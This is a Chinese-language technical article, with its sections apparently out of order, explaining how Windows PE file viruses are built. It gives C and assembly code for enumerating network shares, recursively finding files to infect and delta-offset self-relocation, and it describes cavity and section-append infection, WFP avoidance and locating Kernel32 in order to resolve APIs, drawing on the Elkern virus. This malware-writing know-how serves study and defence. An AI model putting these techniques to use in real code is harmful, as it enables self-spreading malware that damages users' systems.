RESOURCETYPE_DISK,// 类型:仅枚举可存储介质
RESOURCEUSAGE_ALL,// 使用状态:所有
lpnr, // 初次调用时为NULL
&hEnum); // 成功后返回的网络资源句柄
if (r != NO_ERROR) {
printf("WNetOpenEnum error..../n");
return FALSE;
}
lpnrLocal = (LPNETRESOURCE) malloc(cbBuffer);
if (lpnrLocal == NULL)
return FALSE;
do
{
ZeroMemory(lpnrLocal, cbBuffer);
rEnum = WNetEnumResource(hEnum,
&cEntries, // 返回尽可能多的结果
lpnrLocal, // LPNETRESOURCE
&cbBuffer); // buffer大小
if (rEnum == NO_ERROR) {
for(i = 0; i < cEntries; i++) {
usage = lpnrLocal[i].dwUsage;
if(usage & RESOURCEUSAGE_CONTAINER) {
if(!enum_netshare(&lpnrLocal[i]))
printf("Errors detected in enum process.../n");
}else{
// 这里病毒可调用遍历函数遍历该共享文件夹下的所有文件
// enum_path(lpnrLocal[i].lpRemoteName);
printf("find %s --> %s/n",lpnrLocal[i].lpLocalName,
lpnrLocal[i].lpRemoteName);
}
}
}else if (rEnum != ERROR_NO_MORE_ITEMS) {
printf("WNetEnumResource error.../n");
break;
}
}while(rEnum != ERROR_NO_MORE_ITEMS);
free((void*)lpnrLocal);
r = WNetCloseEnum(hEnum);
if(r != NO_ERROR) {
printf("WNetCloseEnum error..../n");
return FALSE;
}
return TRUE;
}
遍历开始时WNetOpenEnum第4形参为0，在发现共享容器进行递归调用时候，该参数将为共享容器的NETRESOURCE结构指针。从NETRESOURCE结构中可以找到我们感兴趣的lpRemoteName，该指针不为0则表示是有效的共享容器或共享文件夹。
typedef struct _NETRESOURCE {
DWORD dwScope;
DWORD dwType;
DWORD dwDisplayType;
DWORD dwUsage;
LPTSTR lpLocalName;
LPTSTR lpRemoteName;
LPTSTR lpComment;
LPTSTR lpProvider;
} NETRESOURCE;
在解决了起始目录的问题之后，就可以从这些起始目录开始使用FindFirstFile和FindNextFile开始遍历其下以及其子目录下的所有文件和目录了，遍历方法可采用深度优先或广度优先搜索算法，较常用的还是深度优先算法。具体实现方式可采用递归搜索或非递归搜索两种实现方式。递归搜索需要占用栈空间，有可能造成栈空间耗竭而产生异常，不过在现实应用中这种情况很少出现，而非递归搜索则不存在此问题，但代码实现略复杂。在现实应用中，应用最多的还是递归遍历搜索。搜索时，可指定FindFirstFile的第一形参为*.*以搜索所有文件，根据搜索结果WIN32_FIND_DATA结构的dwFileAttributes成员判断是否为目录，若为目录则需要继续遍历该子目录，根据WIN32_FIND_DATA的cFileName中的文件名成员判断是否具有要感染的文件后缀以采取修改感染动作，以下代码实现了递归搜索某个目录及其下所有子目录的功能：
void enum_path(char *cpath){
WIN32_FIND_DATA wfd;
HANDLE hfd;
char cdir[MAX_PATH];
char subdir[MAX_PATH];
int r;
GetCurrentDirectory(MAX_PATH,cdir);
SetCurrentDirectory(cpath);
hfd = FindFirstFile("*.*",&wfd);
if(hfd!=INVALID_HANDLE_VALUE) {
do{
if(wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if(wfd.cFileName[0] != '.') {
//合成完整路径名
sprintf(subdir,"%s//%s",cpath,wfd.cFileName);
//递归枚举子目录
enum_path(subdir);
}
}else{
printf("%s//%s/n",cpath,wfd.cFileName);
// 病毒可根据后缀名判断是否要感染相应的文件
}
}while(r=FindNextFile(hfd,&wfd),r!=0);
}
SetCurrentDirectory(cdir);
}
短短20多行C代码就实现了文件遍历的功能，Win32 API的强大功能不仅为开发者提供了便利，同时也为病毒敞开了方便之门。用汇编实现则稍微复杂一些，感兴趣的读者可参阅Elkern中的enum_path部分，原理是一样的，限于篇幅这里不再给出相应的汇编代码。
非递归搜索不使用堆栈存储相关的信息，而使用显式分配的链表或栈等结构存储相关的信息，应用一个迭代循环完成递归遍历同样的功能，下面是使用链表以栈方式处理子目录列表的一个简单实现：
void nr_enum_path(char *cpath){
list dir_list;
string cdir,subdir;
WIN32_FIND_DATA wfd;
HANDLE hfd;
int r;
dir_list.push_back(string(cpath));
while(dir_list.size()) {
cdir = dir_list.back();
dir_list.pop_back();
SetCurrentDirectory(cdir.c_str());
hfd = FindFirstFile("*.*",&wfd);
if(hfd!=INVALID_HANDLE_VALUE) {
do{
if(wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if(wfd.cFileName[0] != '.') {
//合成完整路径名
subdir=cdir+"//"+wfd.cFileName;
cout<<"push subdir: "< //递归枚举子目录
dir_list.push_back(string(subdir));
}
}else{
printf("%s//%s/n",cpath,wfd.cFileName);
// 病毒可根据后缀名判断是否要感染相应的文件
}
}while(r=FindNextFile(hfd,&wfd),r!=0);
}
}//end while
}
在以汇编语言实现时，需要自己管理链表以及分配和释放相应的结构，因此较为烦琐，代码量也稍大，因此病毒多采用递归的方式进行搜索。值得注意的是搜索深层次的目录是很费时的，因此大部分病毒为避免CPU占用率过高，搜索一定数量的文件之后，都会调用Sleep休眠一会，以避免被敏感的用户发觉。文件搜索和感染模块通常是以单独的线程运行的，在病毒获得控制权后，创建相应的搜索和感染线程，而将主现成的控制权交给原程序。
* PE文件的修改和感染策略
既然已经能够搜索磁盘及网络共享文件中的所有文件，要实现寄生，那么自然下一步就是对搜索到的PE文件进行感染了。感染PE的很重要的一个考虑就是将病毒代码写入到PE文件的哪个位置。读写文件一般利用Win32 API CreateFile、CreateFileMapping、MapViewOfFile等API以内存映射文件的方式进行，这样可以避免自己管理缓冲的麻烦，因而为较多病毒所采用。为了能够读写具有只读属性的文件，病毒在操作前首先利用GetFileAttributes获取其属性并保存，然后用SetFileAttributes将文件的属性修改为可写，在感染完毕后再恢复其属性值。
一般说来，有如下几种感染PE文件的方案供选择：
a)添加一个新的节。将病毒代码写入到新的节中，相应修改节表，文件头中文件大小等属性值。由于在PE尾部增加了一个节，因此较容易被用户察觉。在某些情况下，由于原PE头部没有足够的空间存放新增节的节表信息，因此还要对其它数据进行搬移等操作。鉴于上述问题，PE病毒使用该方法的并不多。
b)附加在最后一个节上。修改最后一个节节表的大小和属性以及文件头中文件大小等属性值。由于越来越多的杀毒软件采用了一种尾部扫描的方式，因此很多病毒还要在病毒代码之后附加随机数据以逃避该种扫描。现代PE病毒大量使用该种方式。
c)写入到PE文件头部未用空间各个节所保留的空隙之中。PE头部大小一般为1024字节，有5-6个节的普通PE文件实际被占用部分一般仅为600字节左右，尚有400多个字节的剩余空间可以利用。PE文件各个节之间一般都是按照512字节对齐的，但节中的实际数据常常未完全使用全部的512字节，PE文件的对齐设计本来是出于效率的考虑，但其留下的空隙却给病毒留下了栖身之地。这种感染方式感染后原PE文件的总长度可能并不会增加，因此自CIH病毒首次使用该技术以来，备受病毒作者的青睐。
d)覆盖某些非常用数据。如一般exe文件的重定位表，由于exe一般不需要重定位，因此可以覆盖重定位数据而不会造成问题，为保险起见可将文件头中指示重定位项的DataDirectory数组中的相应项清空，这种方式一般也不会造成被感染文件长度的增加。因此很多病毒也广泛使用该种方法。
e)压缩某些数据或代码以节约出存放病毒代码的空间，然后将病毒代码写入这些空间，在程序代码运行前病毒首先解压缩相应的数据或代码，然后再将控制权交给原程序。该种方式一般不会增加被感染文件的大小，但需考虑的因素较多，实现起来难度也比较大。用的还不多。
不论何种方式，都涉及到对PE头部相关信息以及节表的相关操作，我们首先研究一下PE的修改，即如何在添加了病毒代码后使得PE文件仍然是合法的PE文件，仍然能够被系统加载器加载执行。
PE文件的每个节的属性都是由节表中的一个表项描述的，节表紧跟在IMAGE_NT_HEADERS后面，因此从文件偏移0x3C处的双字找到IMAGE_NT_HEADERS的起始偏移，再加上IMAGE_NT_HEADERS的大小（248字节）就定位了节表的起始位置，每个表项是一个IMAGE_SECTION_HEADER结构：
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; // 节的名字
union {
DWORD PhysicalAddress;
DWORD VirtualSize; // 字节计算的实际大小
} Misc;
DWORD VirtualAddress; // 节的起始虚拟地址
DWORD SizeOfRawData; // 按照文件头FileAlignment
// 对齐后的大小
DWORD PointerToRawData; // 文件中指向该节起始的偏移
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics; // 节的属性
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
节表项的数目由IMAGE_NT_HEADERS的NumberOfSections成员确定。由节表中的起始虚拟地址以及该节在文件中的位置就可以换算加载后内存虚拟地址和文件中地址之间的映射关系。添加一个节则需要修改该节表数组，在其中增加一个表项，然后相应修改NumberOfSections的数目。值得注意的是，某些PE文件现存节表后面可能紧跟着其它数据，如bound import数据，这时就不能简单地增加一个节表项，需要先移动这些数据并修改相应的结构后才能增加节，否则PE文件将不能正常执行。由于很多病毒是自我修改的，因此节属性通常设置为E000XXXX，表示该节可读写执行，否则就需要在病毒的开始处调用VirtualProtect之类的API动态修改内存页的属性了。由上述节表的定义还可以看到每个节的实际数据都是按照文件头中FileAlignment对齐的，这个大小一般是512，因此每个节可能有不超过512字节的未用空间（SizeOfRawData- VirtualSize），这恰好给病毒以可乘之机，著名的CIH病毒首先采用了这种技术，不过问题是每个节的空隙大小是不定的，因此就需要将病毒代码分成若干部分存放，运行时再通过一段代码组合起来，优点是如果病毒代码较小则无需增加PE的大小，隐蔽性较强。如果所有节的未用空间仍不足以容纳病毒代码，则可新增节或附加到最后一个节上。附加到最后一个节上是比较简单的，只要修改节表中最后一个节的VirtualSize以及按FileAlignment对齐后的SizeOfRawData成员即可。当然在上述所有修改节的情况中，如果改变了文件的大小，都要修正文件头中SizeOfImage这个值的大小，该值是所有节和头按照SectionAlignment对齐后的大小。
这里有两个问题值得注意，第一问题就是对WFP(Windows File Protection)文件的处理，WFP机制是从Windows 2000开始新增的保护系统文件的机制，若系统发现重要的系统文件被改变，则弹出一个对话框警告用户该文件已被替换。当然有多种方法绕过WFP保护，但对病毒而言，更简单的方法就是不感染在WFP列表中的系统文件。可使用sfc.dll的导出函数SfcIsFileProtected判断一个文件是否在该列表中，该API的第一个参数必须为0，第二个参数是要判断的文件名，若在列表中返回非0值，否则返回0。
另外一个问题就是关于PE文件的校验。大部分PE文件都不使用文件头中的CheckSum域的校验和值，不过有些PE文件，如关键的系统服务程序文件以及驱动程序文件则该值必须正确，否则系统加载器将拒绝加载。PE头部的CheckSum可以使用Imagehlp.dll的导出函数CheckSumMappedFile计算，也可以在将该域清0后按照如下简单的等价算法计算：
如果PE文件大小是奇数字节，则以0补足，使之按偶数字节。将PE文件头的CheckSum域清0，然后以两个字节为单位进行adc运算，最后和将该累加和同文件实际大小进行adc运算即得到校验和的值。下面的cal_checksum过程假设esi已经指向PE文件头，文件头部CheckSum域已经被清0，CF标志位已经被复位：
;调用示例：
;clc
;push pe_fileseize
;call cal_checksum
cal_checksum:
adc bp,word [esi] ;初始esi指向文件头，ebx中保存的是文件大小
inc esi
inc esi
loop cal_checksum
mov ebx,[esp+4]
adc ebp,ebx ;ebp中存放的就是PE的校验和
ret 4
除了PE头部的校验和之外，很多程序自身也有校验模块，如Winzip和Winrar的自解压文件，如果被感染，将造成无法正常解压缩。因此对于类似的PE文件，病毒应尽量不予感染。
Elkern中感染文件修改文件相关的代码在infect.asm中，该病毒首先尽可能地利用PE的头部和节的间隙存储自身代码，若所有间隙仍不足以存放病毒代码，则附加到最后一个节上，限于篇幅相关代码从略，感兴趣的读者请自行参阅。
其实，完成了上述功能的代码片断就已经是一个简单的病毒了，不管是用汇编语言、C语言或是python语言编写的。但这些远不是病毒技术的全部。在病毒和反病毒对抗的数十年中，伴随着反病毒技术的进步，病毒技术也在不断进步着，Win32下的内存驻留感染技术、抗分析技术、EPO技术、多态技术、变形技术等限于篇幅都还没有介绍，无论如何，那都是下篇的内容了。
* 思考与防范
病毒技术源自编程实践，但又无所不用其极，包含了相当多的编程技巧，如果我们善于借鉴，其中的很多技巧都可用于解决常见的编程难题。此外知己知彼，才能在病毒出现时冷静沉着应对，分析其机制，找到更好的解决之道。作为用户，了解病毒的机制对于选择合适的反病毒产品和方案也是非常有帮助的。
防范病毒，从用户角度除了使用杀毒软件定期查毒之外，谨慎地下载或执行未知的程序，提高警觉也是非常重要的。
病毒已经不再单纯是一种展示高超编程技巧的手段了，而被越来越多的领域赋予了其它的如经济、有时甚至是政治的含义。防范病毒，作为负责的程序员，应首先不编写病毒、传播病毒，一切从我做起。
* 参考文献
[1] The PE file format ,LUEVELSMEYER
[2] Microsoft Portable Executable and Common Object File Format Specification ,Microsoft Corp.
[3] An In-Depth Look into the Win32 Portable Executable File Format , Matt Pietrek
[4] 29A issue7
作者简介
温玉杰，男，现从事网络安全工作。主要研究领域为恶意代码、逆向工程、人工智能、编译理论、底层安全技术等。曾与罗云彬合译《intel汇编语言程序设计》，与人合著《软件加密技术内幕》等。
然而，不只普通用户在面对各种夸大的报道和宣传后感觉到茫然和恐惧，随着计算机各个领域的细分和专业化，就连一些职业的程序员对病毒技术也缺乏深入的了解。病毒，不过是精心设计的一段程序，是编程技巧和优化技术的集中体现，是挑战技术极限、无所不用其极的一种编程技术。其实病毒技术中的优化和各种精巧的构造，也完全可以在一些特殊的情况下使用，使得某些编程工作得以简化；从另外一个角度来看，只有充分了解病毒技术，才能更好地研究应对之策，知己知彼，方能百战不殆。
病毒不是某个系统下的专属品，事实上现在各种流行的操作系统：从最初的Unix系统到其各种变体如Linux、Solaris、AIX、OS2等，从Windows到CE、Sybian等嵌入式系统，甚至是在某些专业化的大型机系统上，都无一例外地出现了病毒，各种平台下病毒的基本原理类似的，但是针对不同系统的特性，实现可能区别很大，原因在于作为一种无所不用其极的技术，势必利用各种系统相关的功能或弱点以取得各种特权和资源。正如生物的多样性一样，病毒种类繁多：包括源代码病毒、宏病毒、脚本病毒以及与各种系统可执行文件系统相关的病毒等。本文将以使用最为广泛的Windows操作系统下的PE病毒为例，说明病毒技术的原理以及实现技术，驱散笼罩在病毒技术上的迷雾。
* 病毒、蠕虫、恶意代码
传统意义上的病毒是具有类似生物病毒特征的特殊代码或程序，具有两个最基本的特点：自我复制和自动传播。蠕虫，广义上一般被认为是病毒的子类，同样具有自我复制和传播的特性，但鉴于蠕虫通常利用系统漏洞而非感染文件系统进行传播的特殊性，通常将其单独作为一类。一般认为区分蠕虫和传统病毒的分类标准是看其是否依赖于宿主程序进行感染和传播，如果必须依附于宿主程序才能进行感染和传播的才是病毒。不过定义不是绝对的，当今病毒和蠕虫技术的融合愈益深入，界限愈益模糊。很多病毒采用了很多的蠕虫传播技术，蠕虫也不仅仅通过系统漏洞传播，同时也通过感染文件系统进行传播。此外还有有相当一部分程序虽然不具备自我复制和自我传播的特征，但却执行了未经用户许可的代码、做了未经用户许可的事情，比如特洛伊木马等间谍软件、浏览器恶意脚本、一些广告软件等，显然无法将其定义为传统的病毒或蠕虫，他们和蠕虫、病毒一样，同属于一个更大的范畴——恶意代码。本文重点阐述传统病毒经常使用的技术。
* 病毒简史
谈病毒技术，无法回避病毒产生的历史。早在1949年在冯·诺伊曼的一篇论文《复杂自动装置的理论及组织的行为》中，即预见了可自我繁殖程序出现的可能。而现在众所公认的病毒的萌牙于AT&T（贝尔实验室）几个年轻的天才程序员编制的磁芯大战（CoreWar）游戏程序，已经具备了病毒的一些特征。随后相关的实验和研究在一些学者和天才的程序员中开始展开，正是这些创造了计算机系统的天才们，制造了计算机病毒。很难考证第一个真正的病毒出现在何时何地，但在20世纪80年代，随着个人计算机的普及，病毒已经开始流行了，早期的计算机病毒是和当时的文件交换方式和操作系统特点联系在一起的，那个时候发行软件或交换文件主要通过软盘进行，系统是基于文本界面的Unix或DOS，网络尚未普及，因此这一时期的病毒大都是引导区病毒和文件型病毒，前者通过替换系统引导区代码在系统启动时获取执行权，后者通过修改可执行文件嵌入代码以在可执行文件执行时获取控制权，更多病毒的则是二者的结合。IBM-PC的流行和MS DOS系统的普及使得DOS病毒在这一阶段逐渐占据了统治地位。80年代后期因特网开始进入人们的视野，这时也出现了第一个因特网蠕虫——莫里斯蠕虫，借助于系统漏洞通过网络进行快速传播。90年代随着电脑及网络的进一步普及，病毒技术也有了很大的进步，这在很大程度上也是由于病毒受社会的关注程度以及反病毒软件的进步，进一步刺激了病毒制作者群体的创造欲望，多态和变形技术开始出现，以对抗杀毒软件的特征码扫描。DOS操作系统病毒的绝对数量出现了爆炸性增长，但90年代后期随着Windows的出现，DOS病毒和引导区病毒逐渐走向消亡，Windows病毒随之则开始大量涌现，随着微软Office软件的普及宏病毒出现了，各种脚本病毒也日益增多。因特网的普及在给人们带来便利的同时也加快了病毒传播的速度和范围，靠Emai传播的蠕虫开始增多，时至今日仍然是蠕虫的重要传播途径。从2000年至今，在进入21世纪的头几年里，Windows下PE病毒技术已经日益纯熟、数量日益增多，但病毒排行榜的首位已经让位给利用各种系统漏洞进行传播的蠕虫了，安全研究的深入、各种安全漏洞的大量披露给蠕虫作者提供了很好的素材，特洛依木马等恶意软件数量呈现几何级数的增长，病毒作者的关注点重新从Windows桌面系统转向Unix系统、手机等嵌入移动设备上。安全研究也愈益受到社会的关注，病毒和反病毒的战争仍在继续，在可预见的将来，仍将继续。
不过，Windows PE文件病毒仍然占有非常大的比重。
* Windows平台和PE文件格式
Windows平台是当今最为流行的桌面系统，在服务器市场上，也占有相当的份额。其可执行文件（普通的用户程序、共享库以及NT系统的驱动文件）采用的是PE（Portable Executebale）文件格式。病毒要完成各种操作，在Windows系统上一般都是通过调用系统提供的API进行的，以保证在各种Windows版本上都能运行，因此读者应对基本的API比较熟悉。病毒要实现对宿主程序的感染，就不可避免地要修改PE文件，因此要求读者对PE文件格式有一定的了解，PE文件格式是一种复杂的文件格式，本文并不准备详细讲述PE文件格式，仅作在必要处简单的介绍，如必要可进一步参阅相关资料[1][2][3]。PE文件结构和头部部分主要域的格式如下图1所示。由图1可见，PE文件是由文件头、节表、包含各种代码和数据的节构成。文件头中定义了PE文件的引入函数表、引出函数表、节数目、文件版本、文件大小、所属子系统等相关的重要信息。节表则定义了实际数据节的大小、对齐、内存到文件如何进行映射等信息。后面的各个节则包含了实际的可执行代码或数据。
图1 PE文件结构及部分主要域的定义
* PE病毒技术剖析
典型的PE病毒修改PE文件，将病毒体代码写入PE文件文件中，更新头部相关的数据结构，使得修改后的PE文件仍然是合法PE文件，然后将PE入口指针改为指向病毒代码入口，这样在系统加载PE文件后，病毒代码就首先获取了控制权，在执行完感染或破坏代码后，再将控制权转移给正常的程序代码，这样病毒代码就神不知鬼不觉地悄悄运行了。染毒后的PE文件运行过程一般图2所示：
图2 染毒后的程序执行流程
这只是最常见的执行流程，事实上，随着反病毒技术的进展，更多的病毒并不是在程序的入口获取控制权，而是在程序运行中或退出时获取控制权，以逃避杀毒软件的初步扫描，这种技术又被称为EPO技术，将在本文后半部分进行介绍。病毒代码一般分成几个主要功能模块：解码模块、重定位模块、文件搜索模块、感染模块、破坏模块、加密变形模块等，不同的病毒包含模块不一定相同，比如解码、加密变形等就是可选的；但文件搜索和感染模块是几乎每个PE病毒都具备的，因为自我复制我传播是病毒的最基本的特征。有些病毒还可能实现了其他的模块，比如Email发送、网络扫描、内存感染等。一段典型的PE病毒代码执行流程大致如下图3所示：
图3 一段典型的病毒代码执行流程
从原理上看病毒非常简单，但实现起来还有不少困难，其实如果解决了这些技术难点，一个五脏俱全的病毒也就形成了，本文后面将从一个病毒编写者的角度就各个难点分别予以介绍。病毒可采用的技术几乎涉及到Windows程序设计的所有方面，但限于篇幅，本文亦不可能全部介绍，本文将重点介绍Win32用户模式病毒所常用的一些技术。
* 编程语言
任何语言只要表达能力足够强，都可用于编写PE病毒。但现存的绝大部分PE病毒都是直接用汇编编写的，一方面是因为汇编编译后的代码短小精悍，可以充分进行人工优化，以满足隐蔽性的要求；另外一方面之所以用汇编是因为其灵活和可控，病毒要同系统底层有时甚至是硬件打交道，由于编译器的特点不尽相同，用高级语言实现某些功能甚至会更加麻烦，比如用汇编很方便地就可以直接进行自身重定位、自身代码修改以及读写IO端口等操作，而用高级语言实现则相对烦琐。用汇编还可以充分利用底层硬件支持的各种特性，限制非常少。但是用汇编编写病毒的主要缺点就是编写效率低，加上使用各种优化手段使得代码阅读起来相当困难，不过作为一种极限编程技术，对病毒作者而言，这些似乎都已经不再重要。本文假设读者熟悉汇编语言，各种举例使用Intel格式的汇编代码，编译器可使用MASM或FASM进行编译，由于汇编语言表述算法较为不便，因此算法和原理性表述仍然采用C语言。在讲述各种技术时，部分代码直接取自病毒Elkern的源代码，该病毒在2002年曾经大规模流行，其代码被收录于著名病毒杂志29A第7期中，有兴趣的读者可参阅其完整代码。
* 重定位
病毒自身的重定位是病毒代码在得以顺利运行前应解决的最基本问题。病毒代码在运行时同样也要引用一些数据，比如API函数的名字、杀毒软件的黑名单、系统相关的特殊数据等，由于病毒代码在宿主进程中运行时的内存地址是在编译汇编代码时无法预知的，而病毒在感染不同的宿主时其位于宿主中的准确位置同样也无法提前预知，因此病毒就要在运行时动态确定其引用数据的地址，否则，引用数据时几乎肯定会发生错误。对于普通的PE文件比如动态链接库而言，在被加载到不同地址处时由加载器根据PE中一个被称为重定位表的特殊结构动态修正引用数据指令的地址，而重定位表是由编译器在编译阶段生成的，因此动态链接库本身无需为此做任何额外处理。病毒代码则不同，必须自己动态确定需引用数据的地址。比如一段病毒代码被加载在0x400000处，地址0x401000处的一条语句及其引用的数据定义如下所示，相关地址是编译器在编译时计算得到的，这里假设编译时预设的基地址也是0x400000：
401000:
mov eax,dword ptr [402035]
......
402035:
db "hello world!",0
如果病毒代码在宿主中也加载到基地址0x400000，显然是能够正常执行的，但如果这段代码被加载在基地址0x500000运行时则出错，对病毒而言，这是大多数时候都会遇到的情况，因为指令中引用的仍然是0x402035这个地址。如果病毒代码不是在宿主进程中而是作为一个具有重定位表的独立PE文件运行，正常情况下由系统加载器根据重定位表表项将 mov eax,dword ptr [402035]中的0x402035修改为正确值0x502305，这样这句代码就变成了mov eax,dword ptr [5402035]，程序也就能准确无误地运行了。不过很可惜，对在其它进程内运行病毒代码而言，必须采取额外的手段、付出额外的代价感染宿主PE文件时就及时加以解决，否则将导致宿主进程无法正常运行。
至少有两种方法可以解决重定位的问题：
A）第一种方法就是利用上述PE文件重定位表项的特殊作用构造相应的重定位表项。在感染目标PE文件时，将引用自身数据的需要被重定位的地址全部写入目标PE文件的重定位表中，如果目标PE无任何重定位表项（如用MS linker的/fixed）则创建重定位表节并插入新的重定位项；若已经存在重定位表项，则在修改已存在的重定位表节，在其中插入包含了这些地址的新表项。重定位的工作就完全由系统加载器在加载PE文件的时候自动进行了。重定位表项由PE文件头的DataDirectory数据中的第6个成员IMAGE_DIRECTORY_ENTRY_BASERELOC指向。该方法需要的代码稍多，实现起来也相对比较复杂，另外如果目标文件无重定位表项（为了减小代码体积，这种情况也不少见），处理起来就比较麻烦，只有用高级语言编写病毒才常用该种方法，在一般的PE病毒中很少使用。
B）利用Intel X86体系结构的特殊指令，call或fnstenv等指令动态获取当前指令的运行时地址，计算该地址与编译时预定义地址的差值（被称为delta offset），再将该差值加到原编译时预定的地址上，得到的就是运行时数据的正确地址。对于intel x86指令集而言，在书写代码时，通过将delta offset放在某个寄存器中，然后通过变址寻址引用数据就可以解决引用数据重定位的难题。还以上例说明，假如上述指令块被操作系统映射在0x500000处那么代码及其在内存中的地址将变为：
501000:
mov eax,dword ptr [402035]
......
502035:
db "hello world!",0
显然，mov指令引用的操作数地址是不正确的，如果我们知道了mov指令运行时地址是0x501000，那么计算该地址和编译时该指令预设地址的差值：0x501000-0x401000 = 0x100000。很显然指令引用的实际数据地址应该为0x402035+0x100000 = 0x502035。从上例可以看出，只要能够在运行时确定某条指令动态运行时的地址，而其编译时地址已知，我们就能够通过将delta offset加到相应的地址上正确重定位任何代码或数据的运行时地址。原理如图4所示：
图4 delta iffset
通常只要在病毒代码的开始计算出delta offset，通过变址寻址的方式书写引用数据的汇编代码，即可保证病毒代码在运行时被正确重定位。假设ebp包含了delta offset，使用如下变址寻址指令则可保证在运行时引用的数据地址是正确的：
;ebp包含了delta offset值
401000:
mov eax,dword ptr [ebp+0x402035]
......
402035:
db "hello world!",0
在书写源程序时可以采用符号来代替硬编码的地址值，上述的例子中给出的不过是编译器对符号进行地址替换后的结果。现在的问题就转换成如何获取delta offset的值了，显然：
call delta
delta:
pop ebp
sub ebp,offset delta
在运行时就动态计算出了delta offset值，因为call要将其后的第一条指令的地址压入堆栈，因此pop ebp执行完毕后ebp中就是delta的运行时地址，减去delta的编译时地址“offset delta”就得到了delta offset的值。除了用明显的call指令外，还可以使用不那么明显的fstenv、fsave、fxsave、fnstenv等浮点环境保存指令进行，这些指令也都可以获取某条指令的运行时地址。以fnstenv为例，该指令将最后执行的一条FPU指令相关的协处理器的信息保存在指定的内存中，结构如下图5所示：
图5 浮点环境块的结构
该结构偏移12字节处就是最后执行的浮点指令的运行时地址，因此我们也可以用如下一段指令获取delta offset：
fpu_addr:
fnop
call GetPhAddr
sub ebp,fpu_addr
GetPhAddr:
sub esp,16
fnstenv [esp-12]
pop ebp
add esp,12
ret
delta offset也不一定非要放在ebp中，只不过是ebp作为栈帧指针一般过程都不将该寄存器用于其它用途，因此大部分病毒作者都习惯于将delta offset保存在ebp中，其实用其他寄存器也完全可以。
在优化过的病毒代码中并不经常直接使用上述直接计算delta offset的代码，比如在Elkern开头写成了类似如下的代码：
call _start_ip
_start_ip:
pop ebp
;...
;使用
call [ebp+addrOpenProcess-_start_ip]
;...
addrOpenProcess dd 0
;而不是
call _start_ip
_start_ip:
pop ebp
sub ebp,_start_ip
call [ebp+addrOpenProcess]
为什么不采用第二种书写代码的方式？其原因在于尽管第一种格式在书写源码时显得比较罗嗦，但是addrOpenProcess-_start_ip是一个较小相对偏移值，一般不超过两个字节，因此生成的指令较短，而addrOpenProcess在32 Win32编译环境下一般是4个字节的地址值，生成的指令也就较长。有时对病毒对大小要求很苛刻，更多时候也是为了显示其超俗的编程技巧，病毒作者大量采用这种优化，对这种优化原理感兴趣的读者请参阅Intel手册卷2中的指令格式说明。
* API函数地址的获取
在能够正确重定位之后，病毒就可以运行自己代码了。但是这还远远不够，要搜索文件、读写文件、进行进程枚举等操作总不能在有Win32 API的情况下自己用汇编完全重新实现一套吧，那样的编码量过大而且兼容性很差。Win9X/NT/2000/XP/2003系统都实现了同一套在各个不同的版本上都高度兼容的Win32 API，因此调用系统提供的Win32 API实现各种功能对病毒而言就是自然而然的事情了。
所以接下来要解决的问题就是如何动态获取Win32 API的地址。最早的PE病毒采用的是预编码的方法，比如Windows 2000中CreateFileA的地址是0x7EE63260，那么就在病毒代码中使用call [7EE63260h]调用该API，但问题是不同的Windows版本之间该API的地址并不完全相同，使用该方法的病毒可能只能在Windows 2000的某个版本上运行。因此病毒作者自然而然地回到PE结构上来探求解决方法，我们知道系统加载PE文件的时候，可以将其引入的特定DLL中函数的运行时地址填入PE的引入函数表中，那么系统是如何为PE引入表填入正确的函数地址的呢？答案是系统解析引入DLL的导出函数表，然后根据名字或序号搜索到相应引出函数的的RVA（相对虚拟地址），然后再和模块在内存中的实际加载地址相加，就可以得到API函数的运行时真正地址。在研究操作系统是如何实现动态PE文件链接的过程中，病毒作者找到了以下两种解决方案：
A)在感染PE文件的时候，可以搜索宿主的函数引入表的相关地址，如果发现要使用的函数已经被引入，则将对该API的调用指向该引入表函数地址，若未引入，则修改引入表增加该函数的引入表项，并将对该API的调用指向新增加的引入函数地址。这样在宿主程序启动的时候，系统加载器已经把正确的API函数地址填好了，病毒代码即可正确地直接调用该函数。
B）系统可以解析DLL的导出表，自然病毒也可以通过这种手段从DLL中获取所需要的API地址。要在运行时解析搜索DLL的导出表，必须首先获取DLL在内存中的真实加载地址，只有这样才能解析从PE的头部信息中找到导出表的位置。应该首先解析哪个DLL呢？我们知道Kernel32.DLL几乎在所有的Win32进程中都要被加载，其中包含了大部分常用的API，特别是其中的LoadLibrary和GetProcAddress两个API可以获取任意DLL中导出的任意函数，在迄今为止的所有Windows平台上都是如此。只要获取了Kernel32.DLL在进程中加载的基址，然后解析Kernel32.DLL的导出表获取常用的API地址，如需要可进一步使用Kernel32.DLL中的LoadLibrary和GetProcAddress两个API更简单地获取任意其他DLL中导出函数的地址并进行调用。
* 获取Kernel32.DLL基址
获取Kernel32.DLL基址的方法很多，最常见的一种是搜索法，如果已知Kernel32.DLL加载的大致地址，那么可由该地址向高地址或低地址进行搜索可以找到其基址。另外一种方法是搜索NT PEB结构中的模块列表获取Kernel32.DLL的准确加载基址。下面看一下具体的实现代码：
方法1：暴力搜索获取Kernel32.DLL的基址
最初的病毒是指定一个大致的加载地址，比如根据实验在9X下其加载地址是0xBFF70000；在Windows 2000下加载基址是0x77E80000；在XP和2003下其加载基址是0x77E60000，因此在NT系统下就可以从0x77e00000开始向高地址搜索，在9X下可以从0xBFF00000开始向高地址搜索，如果搜索到Kernel32.DLL的加载地址，其头部一定是“MZ”标志，由模块起始偏移0x3C的双字确定的PE头部标志必然是“PE”标志，因此可根据这两个标志判断是否找到了模块加载地址，也许有人认为该方法不可靠，因为如果恰好有某段数据符合这两个特征，那么找到的基址可能就是错误的，但经实验证明，该判断方法非常可靠，基本不会出现错误。有一点需要注意的是，在所有版本的Windows系统下Kernel32.DLL的加载基址都是按照0x10000对齐的，根据这一特点可以不必逐字节搜索，按照64K对齐的边界地址搜索即可。
从大致的一个地址开始搜索Kernel32.DLL基址可能会出现读写到未映射内存区域的情况，因此需要和SEH配合使用。如果有在各个版本下准确获取Kernel32.DLL中某地址的通用方法，那么就可以更可靠地从该地址开始向低地址搜索，显然会更加通用。事实上，这种方法是存在的。在系统加载PE文件跳转到PE入口点第一条指令的时候，堆栈顶保存的就是Kernel32.DLL中的某个地址，Elkern中采用的就是这种方法：
